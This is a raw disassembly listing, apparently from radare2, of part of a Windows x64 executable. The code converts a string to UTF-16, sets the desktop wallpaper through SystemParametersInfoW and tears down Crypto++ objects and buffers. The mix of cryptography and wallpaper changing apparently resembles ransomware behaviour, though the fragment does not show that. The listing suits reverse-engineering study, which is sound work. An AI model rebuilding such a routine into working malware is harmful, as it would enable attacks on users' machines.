call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
mov qword [rbp + 0x110], r12
mov qword [rbp + 0x118], r12
mov rbx, qword [rbp + 0x150]
lea rsi, [rbp + 0x140]
cmp qword [rbp + 0x158], 0x10
cmovae rsi, qword [rbp + 0x140]
cmp rbx, rdi
ja 0x14000ad85
cmp rbx, 0x10
jae 0x14000a89f
mov qword [rbp + 0x110], rbx
mov eax, 0xf
mov qword [rbp + 0x118], rax
movups xmm0, xmmword [rsi]
movups xmmword [rbp + 0x100], xmm0
jmp 0x14000a94b
mov qword [rbp + 0x118], 0xf
mov rax, rbx
or rax, 0xf
cmp rax, rdi
jbe 0x14000a8e6
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400476d8
mov rcx, rax
test rax, rax
je 0x14000aaa0
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14000a920
mov rdi, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rdi, rcx
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x14000a911
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000ad9f
jmp 0x14000a8c4
test rcx, rcx
je 0x14000a91d
call fcn.1400476d8
jmp 0x14000a920
mov rax, r12
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x110], rbx
mov qword [rbp + 0x118], rdi
lea r8, [rbx + 1]
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp + 0x118]
lea r8, [rbp + 0x100]
cmp rax, 0x10
cmovae r8, qword [rbp + 0x100]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
mov r9d, r13d
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rdi, eax
test eax, eax
jne 0x14000a9c0
lea rdx, str.Failed_to_get_the_size_for_the_wide_string._Error_code:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140010020
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x14000ffe0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ebx, 1
jmp 0x14000aa68
mov eax, 2
mul rdi
cmovo rax, r13
mov rcx, rax
call fcn.140047964
mov rbx, rax
lea r8, [rbp + 0x100]
cmp qword [rbp + 0x118], 0x10
cmovae r8, qword [rbp + 0x100]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rax
mov r9d, r13d
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
jne 0x14000aa51
lea rdx, str.Failed_to_convert_the_narrow_string_to_wide_string._Error_code:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140010020
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x14000ffe0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rbx
call fcn.1400475a0
mov ebx, 1
jmp 0x14000aa68
mov r9d, 1
mov r8, rbx
xor edx, edx
lea ecx, [rdx + 0x14]
call qword [sym.imp.USER32.dll_SystemParametersInfoW]
mov ebx, r12d
mov rdx, qword [rbp + 0x118]
cmp rdx, 0x10
jb 0x14000aaac
inc rdx
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000aaa7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000aaa7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400475a0
mov qword [rbp + 0x110], r12
mov qword [rbp + 0x118], 0xf
mov byte [rbp + 0x100], 0
mov rdx, qword [rbp + 0x158]
cmp rdx, 0x10
jb 0x14000ab09
inc rdx
mov rcx, qword [rbp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ab04
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000ab04
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400475a0
mov qword [rbp + 0x150], r12
mov qword [rbp + 0x158], 0xf
mov byte [rbp + 0x140], 0
mov rdx, qword [rbp + 0x1f8]
cmp rdx, 0x10
jb 0x14000ab67
inc rdx
mov rcx, qword [rbp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ab61
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000ab61
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400475a0
nop
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 0x10
jb 0x14000abac
inc rdx
mov rcx, qword [rbp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000aba6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000aba6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400475a0
nop
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 0x10
jb 0x14000abf0
inc rdx
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000abeb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000abeb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400475a0
mov qword [rbp + 0x1d0], r12
mov qword [rbp + 0x1d8], 0xf
mov byte [rbp + 0x1c0], 0
lea rdi, vtable.CryptoPP::SourceTemplate_class_CryptoPP::StringStore_.0
mov qword [rbp + 0x2d0], rdi
lea rsi, vtable.CryptoPP::SourceTemplate_class_CryptoPP::StringStore_.1.0
mov qword [rbp + 0x2d8], rsi
mov rcx, qword [rbp + 0x2e8]
test rcx, rcx
je 0x14000ac3c
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
nop
mov qword [rbp + 0x340], rdi
mov qword [rbp + 0x348], rsi
mov rcx, qword [rbp + 0x358]
test rcx, rcx
je 0x14000ac61
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
nop
mov rcx, qword [rbp + 0x170]
cmp qword [rbp + 0x168], rcx
cmovb rcx, qword [rbp + 0x168]
mov rdx, qword [rbp + 0x178]
test rdx, rdx
je 0x14000ac93
mov rdi, rdx
xor eax, eax
rep stosb byte [rdi], al
mov rcx, rdx
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
nop
mov rcx, qword [rbp + 0x190]
cmp qword [rbp + 0x188], rcx
cmovb rcx, qword [rbp + 0x188]
mov rdx, qword [rbp + 0x198]
test rdx, rdx
je 0x14000acc5
mov rdi, rdx
xor eax, eax
rep stosb byte [rdi], al
mov rcx, rdx
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
nop
mov rdx, qword [rbp + 0x218]
cmp rdx, 0x10
jb 0x14000ad0a
inc rdx
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ad04
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000ad04
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400475a0
nop
mov rdx, qword [rbp + 0x138]
cmp rdx, 8
jb 0x14000ad53
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ad4e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000ad4e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400475a0
mov eax, ebx
mov rcx, qword [rbp + 0x500]
xor rcx, rsp
call fcn.140047580
lea r11, [rsp + 0x610]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400015e0
nop
lea r8, [rbp + 0x120]
lea rdx, [rbp + 0x220]
call fcn.1400025f0
nop
call fcn.140001540
nop
lea r8, [rbp + 0x120]
call fcn.140002580
nop
mov ecx, 4
call fcn.1400091c0
nop
call fcn.1400015e0
int3